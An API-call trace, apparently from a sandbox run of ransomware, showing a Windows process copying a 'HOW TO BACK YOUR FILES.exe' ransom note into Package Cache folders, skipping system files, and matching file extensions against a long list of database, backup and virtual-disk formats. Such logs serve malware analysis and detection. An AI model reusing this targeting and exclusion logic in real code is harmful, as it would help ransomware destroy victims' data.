	[0063.097] lstrlenW (lpString="vcRuntimeAdditional_x86") returned 23
	[0063.097] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*") returned 93
	[0063.097] lstrcpyW (in: lpString1=0x119e6c0, lpString2="vcRuntimeAdditional_x86" | out: lpString1="vcRuntimeAdditional_x86") returned="vcRuntimeAdditional_x86"
	[0063.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0063.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe8) returned 0x59a3e8
	[0063.098] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc10 | out: ListHead=0x5b75f0, ListEntry=0x59fc10) returned 0x59fd50
	[0063.098] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3b13b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0063.098] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.098] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc10
	[0063.098] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86"
	[0063.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a3e8 | out: hHeap=0x580000) returned 1
	[0063.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0063.098] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned 115
	[0063.098] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86"
	[0063.098] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.098] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.098] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.099] GetLastError () returned 0x0
	[0063.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.099] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.099] CloseHandle (hObject=0x15c) returned 1
	[0063.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.099] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.099] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3b13b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.099] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.099] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.099] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.099] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3b13b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.099] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.099] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.099] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.099] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.099] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532ebf00, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x532ebf00, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x532ebf00, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0063.099] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.099] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0063.099] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0063.100] lstrlenW (lpString="cab1.cab") returned 8
	[0063.100] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*") returned 117
	[0063.100] lstrcpyW (in: lpString1=0x119e6f0, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0063.100] lstrlenW (lpString="cab1.cab") returned 8
	[0063.100] lstrlenW (lpString="Apollon865") returned 10
	[0063.100] lstrlenW (lpString=".dll") returned 4
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0063.100] lstrlenW (lpString=".lnk") returned 4
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0063.100] lstrlenW (lpString=".ini") returned 4
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0063.100] lstrlenW (lpString=".sys") returned 4
	[0063.100] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0063.100] lstrlenW (lpString="cab1.cab") returned 8
	[0063.100] lstrlenW (lpString="bak") returned 3
	[0063.100] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0063.100] lstrlenW (lpString="ba_") returned 3
	[0063.100] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0063.100] lstrlenW (lpString="dbb") returned 3
	[0063.100] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0063.100] lstrlenW (lpString="vmdk") returned 4
	[0063.100] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0063.100] lstrlenW (lpString="rar") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0063.101] lstrlenW (lpString="zip") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0063.101] lstrlenW (lpString="tgz") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0063.101] lstrlenW (lpString="vbox") returned 4
	[0063.101] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0063.101] lstrlenW (lpString="vdi") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0063.101] lstrlenW (lpString="vhd") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0063.101] lstrlenW (lpString="vhdx") returned 4
	[0063.101] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0063.101] lstrlenW (lpString="avhd") returned 4
	[0063.101] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0063.101] lstrlenW (lpString="db") returned 2
	[0063.101] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0063.101] lstrlenW (lpString="db2") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0063.101] lstrlenW (lpString="db3") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0063.101] lstrlenW (lpString="dbf") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0063.101] lstrlenW (lpString="mdf") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0063.101] lstrlenW (lpString="mdb") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0063.101] lstrlenW (lpString="sql") returned 3
	[0063.101] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0063.101] lstrlenW (lpString="sqlite") returned 6
	[0063.101] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0063.101] lstrlenW (lpString="sqlite3") returned 7
	[0063.101] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0063.102] lstrlenW (lpString="sqlitedb") returned 8
	[0063.102] lstrlenW (lpString="xml") returned 3
	[0063.102] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0063.102] lstrlenW (lpString="$er") returned 3
	[0063.102] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0063.102] lstrlenW (lpString="4dd") returned 3
	[0063.102] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0063.102] lstrlenW (lpString="4dl") returned 3
	[0063.102] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0063.102] lstrlenW (lpString="^^^") returned 3
	[0063.102] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0063.102] lstrlenW (lpString="abs") returned 3
	[0063.102] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0063.102] lstrlenW (lpString="abx") returned 3
	[0063.102] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0063.102] lstrlenW (lpString="accdb") returned 5
	[0063.102] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0063.102] lstrlenW (lpString="accdc") returned 5
	[0063.102] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0063.102] lstrlenW (lpString="accde") returned 5
	[0063.102] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0063.102] lstrlenW (lpString="accdr") returned 5
	[0063.102] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0063.102] lstrlenW (lpString="accdt") returned 5
	[0063.102] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0063.102] lstrlenW (lpString="accdw") returned 5
	[0063.102] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0063.102] lstrlenW (lpString="accft") returned 5
	[0063.102] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0063.102] lstrlenW (lpString="adb") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0063.103] lstrlenW (lpString="adb") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0063.103] lstrlenW (lpString="ade") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0063.103] lstrlenW (lpString="adf") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0063.103] lstrlenW (lpString="adn") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0063.103] lstrlenW (lpString="adp") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0063.103] lstrlenW (lpString="alf") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0063.103] lstrlenW (lpString="ask") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0063.103] lstrlenW (lpString="btr") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0063.103] lstrlenW (lpString="cat") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0063.103] lstrlenW (lpString="cdb") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0063.103] lstrlenW (lpString="ckp") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0063.103] lstrlenW (lpString="cma") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0063.103] lstrlenW (lpString="cpd") returned 3
	[0063.103] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0063.103] lstrlenW (lpString="dacpac") returned 6
	[0063.104] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0063.104] lstrlenW (lpString="dad") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0063.104] lstrlenW (lpString="dadiagrams") returned 10
	[0063.104] lstrlenW (lpString="daschema") returned 8
	[0063.104] lstrlenW (lpString="db-journal") returned 10
	[0063.104] lstrlenW (lpString="db-shm") returned 6
	[0063.104] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0063.104] lstrlenW (lpString="db-wal") returned 6
	[0063.104] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0063.104] lstrlenW (lpString="dbc") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0063.104] lstrlenW (lpString="dbs") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0063.104] lstrlenW (lpString="dbt") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0063.104] lstrlenW (lpString="dbv") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0063.104] lstrlenW (lpString="dbx") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0063.104] lstrlenW (lpString="dcb") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0063.104] lstrlenW (lpString="dct") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0063.104] lstrlenW (lpString="dcx") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0063.104] lstrlenW (lpString="ddl") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0063.104] lstrlenW (lpString="dlis") returned 4
	[0063.104] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0063.104] lstrlenW (lpString="dp1") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0063.104] lstrlenW (lpString="dqy") returned 3
	[0063.104] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0063.105] lstrlenW (lpString="dsk") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0063.105] lstrlenW (lpString="dsn") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0063.105] lstrlenW (lpString="dtsx") returned 4
	[0063.105] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0063.105] lstrlenW (lpString="dxl") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0063.105] lstrlenW (lpString="eco") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0063.105] lstrlenW (lpString="ecx") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0063.105] lstrlenW (lpString="edb") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0063.105] lstrlenW (lpString="epim") returned 4
	[0063.105] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0063.105] lstrlenW (lpString="fcd") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0063.105] lstrlenW (lpString="fdb") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0063.105] lstrlenW (lpString="fic") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0063.105] lstrlenW (lpString="flexolibrary") returned 12
	[0063.105] lstrlenW (lpString="fm5") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0063.105] lstrlenW (lpString="fmp") returned 3
	[0063.105] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0063.105] lstrlenW (lpString="fmp12") returned 5
	[0063.105] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0063.105] lstrlenW (lpString="fmpsl") returned 5
	[0063.105] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0063.105] lstrlenW (lpString="fol") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0063.106] lstrlenW (lpString="fp3") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0063.106] lstrlenW (lpString="fp4") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0063.106] lstrlenW (lpString="fp5") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0063.106] lstrlenW (lpString="fp7") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0063.106] lstrlenW (lpString="fpt") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0063.106] lstrlenW (lpString="frm") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0063.106] lstrlenW (lpString="gdb") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0063.106] lstrlenW (lpString="gdb") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0063.106] lstrlenW (lpString="grdb") returned 4
	[0063.106] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0063.106] lstrlenW (lpString="gwi") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0063.106] lstrlenW (lpString="hdb") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0063.106] lstrlenW (lpString="his") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0063.106] lstrlenW (lpString="ib") returned 2
	[0063.106] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0063.106] lstrlenW (lpString="idb") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0063.106] lstrlenW (lpString="ihx") returned 3
	[0063.106] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0063.106] lstrlenW (lpString="itdb") returned 4
	[0063.106] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0063.107] lstrlenW (lpString="itw") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0063.107] lstrlenW (lpString="jet") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0063.107] lstrlenW (lpString="jtx") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0063.107] lstrlenW (lpString="kdb") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0063.107] lstrlenW (lpString="kexi") returned 4
	[0063.107] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0063.107] lstrlenW (lpString="kexic") returned 5
	[0063.107] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0063.107] lstrlenW (lpString="kexis") returned 5
	[0063.107] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0063.107] lstrlenW (lpString="lgc") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0063.107] lstrlenW (lpString="lwx") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0063.107] lstrlenW (lpString="maf") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0063.107] lstrlenW (lpString="maq") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0063.107] lstrlenW (lpString="mar") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0063.107] lstrlenW (lpString="marshal") returned 7
	[0063.107] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0063.107] lstrlenW (lpString="mas") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0063.107] lstrlenW (lpString="mav") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0063.107] lstrlenW (lpString="maw") returned 3
	[0063.107] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0063.107] lstrlenW (lpString="mdbhtml") returned 7
	[0063.108] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0063.108] lstrlenW (lpString="mdn") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0063.108] lstrlenW (lpString="mdt") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0063.108] lstrlenW (lpString="mfd") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0063.108] lstrlenW (lpString="mpd") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0063.108] lstrlenW (lpString="mrg") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0063.108] lstrlenW (lpString="mud") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0063.108] lstrlenW (lpString="mwb") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0063.108] lstrlenW (lpString="myd") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0063.108] lstrlenW (lpString="ndf") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0063.108] lstrlenW (lpString="nnt") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0063.108] lstrlenW (lpString="nrmlib") returned 6
	[0063.108] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0063.108] lstrlenW (lpString="ns2") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0063.108] lstrlenW (lpString="ns3") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0063.108] lstrlenW (lpString="ns4") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0063.108] lstrlenW (lpString="nsf") returned 3
	[0063.108] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0063.108] lstrlenW (lpString="nv") returned 2
	[0063.108] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0063.109] lstrlenW (lpString="nv2") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0063.109] lstrlenW (lpString="nwdb") returned 4
	[0063.109] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0063.109] lstrlenW (lpString="nyf") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0063.109] lstrlenW (lpString="odb") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0063.109] lstrlenW (lpString="odb") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0063.109] lstrlenW (lpString="oqy") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0063.109] lstrlenW (lpString="ora") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0063.109] lstrlenW (lpString="orx") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0063.109] lstrlenW (lpString="owc") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0063.109] lstrlenW (lpString="p96") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0063.109] lstrlenW (lpString="p97") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0063.109] lstrlenW (lpString="pan") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0063.109] lstrlenW (lpString="pdb") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0063.109] lstrlenW (lpString="pdm") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0063.109] lstrlenW (lpString="pnz") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0063.109] lstrlenW (lpString="qry") returned 3
	[0063.109] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0063.109] lstrlenW (lpString="qvd") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0063.110] lstrlenW (lpString="rbf") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0063.110] lstrlenW (lpString="rctd") returned 4
	[0063.110] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0063.110] lstrlenW (lpString="rod") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
